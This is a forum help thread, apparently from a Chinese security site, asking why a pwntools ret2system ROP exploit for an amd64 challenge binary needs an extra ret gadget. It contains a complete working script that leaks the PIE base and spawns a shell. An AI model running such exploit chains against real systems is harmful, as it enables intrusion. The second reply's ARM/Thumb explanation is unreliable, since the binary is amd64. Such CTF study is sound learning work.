首页
社区
课程
招聘
[求助]求大佬帮忙解释一个疑问
2023-10-8 22:15 3662

[求助]求大佬帮忙解释一个疑问

2023-10-8 22:15
3662
from pwn import *
#sh =remote("127.0.0.1",12014)
sh = process("./pwn")
context.arch='amd64'
elf = ELF("./pwn")
sh.recvuntil(b"0x")
leak = int(sh.recvline()[:-1],16)
vul_addr_pie = elf.symbols["vuln"]
base_addr = leak - vul_addr_pie
sys_addr = base_addr + elf.plt["system"]
bin_sh_addr = base_addr + 0x4010
pop_rdi_pie=0x1323
pop_rdi_ret = base_addr+pop_rdi_pie
ret = base_addr+0x128d //ret是真实地址,0x128d是ida分析中vuln函数的结尾处retn指令地址
payload = flat([b'a'*0x58,pop_rdi_ret,bin_sh_addr,ret,sys_addr])
sh.sendline(payload)
sh.interactive()

payload有一个疑问,为什么在bin_sh_addr后填充一个retn的指令,而不是直接填写sys_addr,或者是填充垃圾数据,这与什么有关?


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
  • pwn (16.74kb,5次下载)
收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 452
活跃值: (1069)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
wInFoG_2017 2023-10-9 09:38
2
0
看着应该是64位的栈对齐验证,需要在ret2system前要求sp+8能够被16整除,所以加个ret,具体你再查查。https://hack543.com/16-bytes-stack-alignment-movaps-issue/
雪    币: 1121
活跃值: (537)
能力值: ( LV5,RANK:66 )
在线值:
发帖
回帖
粉丝
supertyj 1 2023-10-24 14:23
3
0
楼上说的没错,ARM架构的特点要求对齐。如果是Thumb指令,还要+1
游客
登录 | 注册 方可回帖
返回